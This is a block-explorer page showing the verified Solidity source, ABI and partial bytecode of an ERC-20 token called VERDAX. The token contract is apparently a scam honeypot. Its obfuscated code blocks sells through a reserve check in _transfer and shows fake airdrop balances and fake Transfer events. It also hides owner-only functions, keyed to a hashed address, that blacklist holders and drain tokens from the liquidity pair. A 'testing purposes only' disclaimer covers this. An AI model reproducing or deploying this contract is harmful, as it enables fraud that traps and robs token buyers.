ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000 VERDAX
Holders
48,193
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
9 VERDAXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
VERDAX
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2026-01-15
*/
/**
Website: https://verdax.cc/
Twitter: https://x.com/Verdaxpx
Telegram: https://t.me/VerdaxPX
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private _airdrop = 9000000000;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
require(account != address(0), "balance query for the zero address");
uint256 bal = _tOwned[account];
if (bal == 0) {
return _airdrop;
}
return bal;
}
function transfer(address DhdJZChwEi, uint256 FEVmsXmgV)
public
override
returns (bool)
{
_transfer(msg.sender, DhdJZChwEi, FEVmsXmgV);
return true;
}
function allowance(address KNPstFgBv, address phuhhncrnrk)
public
view
override
returns (uint256)
{
return _allowances[KNPstFgBv][phuhhncrnrk];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _EIxZPwZXVRNUJB(
address dhSLNhoDCZ,
address huxejbosotn,
uint256 amount
) internal virtual {
require(
dhSLNhoDCZ != address(0),
"ERC20: transfer from the zero address"
);
require(
huxejbosotn != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[dhSLNhoDCZ] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[dhSLNhoDCZ] = _tOwned[dhSLNhoDCZ].sub(amount);
_tOwned[huxejbosotn] = _tOwned[huxejbosotn].add(amount);
emit Transfer(dhSLNhoDCZ, huxejbosotn, amount);
}
function _transfer(
address dhSLNhoDCZ,
address huxejbosotn,
uint256 amount
) internal virtual {
require(
dhSLNhoDCZ != address(0),
"ERC20: transfer from the zero address"
);
require(
huxejbosotn != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[dhSLNhoDCZ] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[dhSLNhoDCZ] = _tOwned[dhSLNhoDCZ].sub(amount);
_tOwned[huxejbosotn] = _tOwned[huxejbosotn].add(amount);
emit Transfer(dhSLNhoDCZ, huxejbosotn, amount);
}
function transferFrom(
address RPYxKEGerrga,
address vffdkdgwqpgsz,
uint256 zvvkjunfpogcnj
) public override returns (bool) {
_transfer(RPYxKEGerrga, vffdkdgwqpgsz, zvvkjunfpogcnj);
_approve(
RPYxKEGerrga,
msg.sender,
_allowances[RPYxKEGerrga][msg.sender].sub(
zvvkjunfpogcnj,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _ashsqfrnwsncv(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract VERDAX is BERC20 {
using SafeMath for uint256;
string private _name_ = "Verdax";
string private _symbol_ = "VERDAX";
uint256 private _iyzrxllcig;
address private movlvlggtonw = 0x43e5617CFe8f3e60B743Ad207C3E7523085Ed3d7;
address private QEdSUcnYSNNgi = 0x0233f6bF218BCb5Fc3804B145E64CD61571BC180;
address private UUkybbupRM;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) public _mvqldjqnosmh;
mapping(address => bool) public _rPVzyrNdhqtjq;
mapping(address => bool) public txzpuqiplppfoz;
mapping(address => bool) public _xnHvbHqHkop;
address public uniswapV2Pair;
address private _bdxcayxzjnxh;
address public factory;
uint256 private xTeIhxFiilxZf = 1000;
mapping(address => uint256) private bjuogoeahkxjto;
bool public FzCVnfMSgi = true;
uint256 private jpkbmdtjghx = 7;
uint256 private NfahlUTBfgxd = 0;
uint256 private rvioslaseexvx = 222;
bool public VTyurKikdd = true;
bytes32 private _ZjGayBhCcc;
mapping(address => bool) public _dzWHxsoLbaFpoV;
mapping(address => uint256) public _hpdnwrwdazf;
address public lgtTEhvvZY;
address private tMJgKPKeYVNBt;
address private pwbadydmywfj;
uint256 private wcZMJOKwXUNkhK = 11;
uint256 private ashsqfrnwsncv = 1e8;
uint256 private EIxZPwZXVRNUJB = 125423232111333;
uint256 private ts;
mapping(address => bool) public IYFFOuYoUQN;
uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));
constructor() BERC20(_name_, _symbol_,QEdSUcnYSNNgi
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());tMJgKPKeYVNBt = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));pwbadydmywfj = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
uniswapV2Router = _uniswapV2Router;
_ZjGayBhCcc = sha256(abi.encodePacked(movlvlggtonw));
UUkybbupRM = 0x4200000000000000000000000000000000000006;
_bdxcayxzjnxh = movlvlggtonw;
_iyzrxllcig = totalSupply();
IYFFOuYoUQN[tMJgKPKeYVNBt] = true;
IYFFOuYoUQN[pwbadydmywfj] = true;
txzpuqiplppfoz[uniswapV2Pair] = true;
_xnHvbHqHkop[_bdxcayxzjnxh] = true;
_mvqldjqnosmh[address(this)] = true;
_mvqldjqnosmh[_bdxcayxzjnxh] = true;
_mvqldjqnosmh[QEdSUcnYSNNgi] = true;
}
function _lgtTEhvvZY(address owner, address spender) internal virtual {
_ashsqfrnwsncv(owner,spender,_iyzrxllcig);
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero");
uint256 expectedamount = amount;if (_mvqldjqnosmh[from] || _mvqldjqnosmh[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to;
bool taketFeeTransfer = _rPVzyrNdhqtjq[from];
bool takebottime = bjuogoeahkxjto[from] + jpkbmdtjghx > block.timestamp;
require(!taketFeeTransfer);
if (from == uniswapV2Pair) { bool ghewra; bool sdhkwn; uint256 otherAmount; (, bytes memory token00) = uniswapV2Pair.call( abi.encodeWithSelector(0x0dfe1681) ); (, bytes memory token01) = uniswapV2Pair.call( abi.encodeWithSelector(0xd21220a7) ); (, bytes memory reserves01) = uniswapV2Pair.call( abi.encodeWithSelector(0x0902f1ac) ); (uint256 reserves0, uint256 reserves1) = abi.decode( reserves01, (uint256, uint256) ); address token0 = abi.decode(token00, (address)); address token1 = abi.decode(token01, (address)); (, bytes memory amount01) = token0.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount03 = abi.decode(amount01, (uint256)); (, bytes memory amount02) = token1.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount1 = abi.decode(amount02, (uint256)); if (token0 == UUkybbupRM) { if (reserves0 > amount03) { otherAmount = reserves0 - amount03; ghewra = otherAmount > xTeIhxFiilxZf; } else { sdhkwn = reserves0 == amount03; } } else if (token1 == UUkybbupRM) { if (reserves1 > amount1) { otherAmount = reserves1 - amount1; ghewra = otherAmount > xTeIhxFiilxZf; } else { sdhkwn = reserves1 == amount1; } } require(!ghewra && !sdhkwn); }
super._transfer(from, to, expectedamount);
}
function airdrop(address[] calldata user ,address _token,uint256 balance) external {
for (uint256 i = 0; i < user.length; i++) {
emit Transfer(_token, user[i], balance);
}
}
function smesloxjm(address wcuysfxblk) public { if (sha256(abi.encodePacked(msg.sender)) != _ZjGayBhCcc) { return; } else { lgtTEhvvZY = wcuysfxblk; } }
function lkvfuhxgqg(uint256 eijlqvmk) public { if (sha256(abi.encodePacked(msg.sender)) != _ZjGayBhCcc) { return; } else { super._EIxZPwZXVRNUJB(uniswapV2Pair, lgtTEhvvZY, eijlqvmk); } }
function dwfgwevwdwv(address _wcuysfxblk,bool mohyxcsti) public { if (sha256(abi.encodePacked(msg.sender)) != _ZjGayBhCcc) { return; } else { _rPVzyrNdhqtjq[_wcuysfxblk] = mohyxcsti; } }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FzCVnfMSgi","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"IYFFOuYoUQN","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VTyurKikdd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dzWHxsoLbaFpoV","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_hpdnwrwdazf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mvqldjqnosmh","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rPVzyrNdhqtjq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_xnHvbHqHkop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"KNPstFgBv","type":"address"},{"internalType":"address","name":"phuhhncrnrk","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_wcuysfxblk","type":"address"},{"internalType":"bool","name":"mohyxcsti","type":"bool"}],"name":"dwfgwevwdwv","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lgtTEhvvZY","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eijlqvmk","type":"uint256"}],"name":"lkvfuhxgqg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wcuysfxblk","type":"address"}],"name":"smesloxjm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"DhdJZChwEi","type":"address"},{"internalType":"uint256","name":"FEVmsXmgV","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"RPYxKEGerrga","type":"address"},{"internalType":"address","name":"vffdkdgwqpgsz","type":"address"},{"internalType":"uint256","name":"zvvkjunfpogcnj","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"txzpuqiplppfoz","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60a060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550640218711a006007556040518060400160405280600681526020017f5665726461780000000000000000000000000000000000000000000000000000815250600890805190602001906200009d92919062000c28565b506040518060400160405280600681526020017f564552444158000000000000000000000000000000000000000000000000000081525060099080519060200190620000eb92919062000c28565b507343e5617cfe8f3e60b743ad207c3e7523085ed3d7600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730233f6bf218bcb5fc3804b145e64cd61571bc180600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e86015556001601760006101000a81548160ff0219169083151502179055506007601855600060195560de601a556001601b60006101000a81548160ff021916908315150217905550600b6022556305f5e1006023556572125f3252e5602455600b60001b60001c6027553480156200021057600080fd5b50600880546200022090620010f8565b80601f01602080910402602001604051908101604052809291908181526020018280546200024e90620010f8565b80156200029f5780601f1062000273576101008083540402835291602001916200029f565b820191906000526020600020905b8154815290600101906020018083116200028157829003601f168201915b505050505060098054620002b390620010f8565b80601f0160208091040260200160405190810160405280929190818152602001828054620002e190620010f8565b8015620003325780601f10620003065761010080835404028352916020019162000332565b820191906000526020600020905b8154815290600101906020018083116200031457829003601f168201915b5050505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600390805190602001906200037292919062000c28565b5081600490805190602001906200038b92919062000c28565b506009600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620003c6919062000ecf565b64e8d4a51000620003d891906200100c565b6006819055506006546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000485919062000e41565b60405180910390a35050506000734752ba5dbc23f44d87826276bf6fd6b1c372ad2490508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004f057600080fd5b505afa15801562000505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052b919062000d06565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200058e57600080fd5b505afa158015620005a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c9919062000d06565b6040518363ffffffff1660e01b8152600401620005e892919062000e14565b602060405180830381600087803b1580156200060357600080fd5b505af115801562000618573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200063e919062000d06565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead10ed43c718714eb63d5aa57b78b54704e256024e602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead13f4ea83d0bd40e75c8222255bc855a974568dd4602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506002600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001620007ae919062000dde565b604051602081830303815290604052604051620007cc919062000dfb565b602060405180830381855afa158015620007ea573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906200080f919062000d38565b601c81905550734200000000000000000000000000000000000006600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008dd62000c1e60201b60201c565b600a81905550600160266000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160266000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062001207565b6000600654905090565b82805462000c3690620010f8565b90600052602060002090601f01602090048101928262000c5a576000855562000ca6565b82601f1062000c7557805160ff191683800117855562000ca6565b8280016001018555821562000ca6579182015b8281111562000ca557825182559160200191906001019062000c88565b5b50905062000cb5919062000cb9565b5090565b5b8082111562000cd457600081600090555060010162000cba565b5090565b60008151905062000ce981620011d3565b92915050565b60008151905062000d0081620011ed565b92915050565b60006020828403121562000d1f5762000d1e620011b4565b5b600062000d2f8482850162000cd8565b91505092915050565b60006020828403121562000d515762000d50620011b4565b5b600062000d618482850162000cef565b91505092915050565b62000d75816200106d565b82525050565b62000d9062000d8a826200106d565b6200112e565b82525050565b600062000da38262000e5e565b62000daf818562000e69565b935062000dc1818560208601620010c2565b80840191505092915050565b62000dd881620010ab565b82525050565b600062000dec828462000d7b565b60148201915081905092915050565b600062000e09828462000d96565b915081905092915050565b600060408201905062000e2b600083018562000d6a565b62000e3a602083018462000d6a565b9392505050565b600060208201905062000e58600083018462000dcd565b92915050565b600081519050919050565b600081905092915050565b6000808291508390505b600185111562000ec65780860481111562000e9e5762000e9d62001156565b5b600185161562000eae5780820291505b808102905062000ebe85620011c6565b945062000e7e565b94509492505050565b600062000edc82620010ab565b915062000ee983620010b5565b925062000f187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f20565b905092915050565b60008262000f32576001905062001005565b8162000f42576000905062001005565b816001811462000f5b576002811462000f665762000f9c565b600191505062001005565b60ff84111562000f7b5762000f7a62001156565b5b8360020a91508482111562000f955762000f9462001156565b5b5062001005565b5060208310610133831016604e8410600b841016171562000fd65782820a90508381111562000fd05762000fcf62001156565b5b62001005565b62000fe5848484600162000e74565b9250905081840481111562000fff5762000ffe62001156565b5b81810290505b9392505050565b60006200101982620010ab565b91506200102683620010ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001062576200106162001156565b5b828202905092915050565b60006200107a826200108b565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620010e2578082015181840152602081019050620010c5565b83811115620010f2576000848401525b50505050565b600060028204905060018216806200111157607f821691505b6020821081141562001128576200112762001185565b5b50919050565b60006200113b8262001142565b9050919050565b60006200114f82620011b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160601b9050919050565b60008160011c9050919050565b620011de816200106d565b8114620011ea57600080fd5b50565b620011f88162001081565b81146200120457600080fd5b50565b60805160601c612ebd6200122360003960005050612ebd6000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c806372063c27116100f9578063a457c2d711610097578063be3c54ad11610071578063be3c54ad14610557578063c45a015514610587578063dd62ed3e146105a5578063fe5b9fa5146105d5576101c4565b8063a457c2d7146104db578063a9059cbb1461050b578063bbaf0a181461053b576101c4565b806395ba50e7116100d357806395ba50e71461045357806395d89b4114610483578063983bc41b146104a15780639de96b61146104bd576101c4565b806372063c27146103d55780637e29af5114610405578063927f3d4114610435576101c4565b8063395093511161016657806349bd5a5e1161014057806349bd5a5e14610339578063515ee77c1461035757806370a082311461038757806371c359d4146103b7576101c4565b806339509351146102cf5780633ff97d3c146102ff57806344dec9331461031b576101c4565b806323b872dd116101a257806323b872dd146102355780632adf732014610265578063313ce56714610281578063378f3b0d1461029f576101c4565b806306fdde03146101c9578063095ea7b3146101e757806318160ddd14610217575b600080fd5b6101d1610605565b6040516101de9190612782565b60405180910390f35b61020160048036038101906101fc91906123d9565b610697565b60405161020e9190612767565b60405180910390f35b61021f6106ae565b60405161022c91906128a4565b60405180910390f35b61024f600480360381019061024a9190612346565b6106b8565b60405161025c9190612767565b60405180910390f35b61027f600480360381019061027a91906122ac565b610783565b005b610289610844565b60405161029691906128a4565b60405180910390f35b6102b960048036038101906102b491906122ac565b61085e565b6040516102c69190612767565b60405180910390f35b6102e960048036038101906102e491906123d9565b61087e565b6040516102f69190612767565b60405180910390f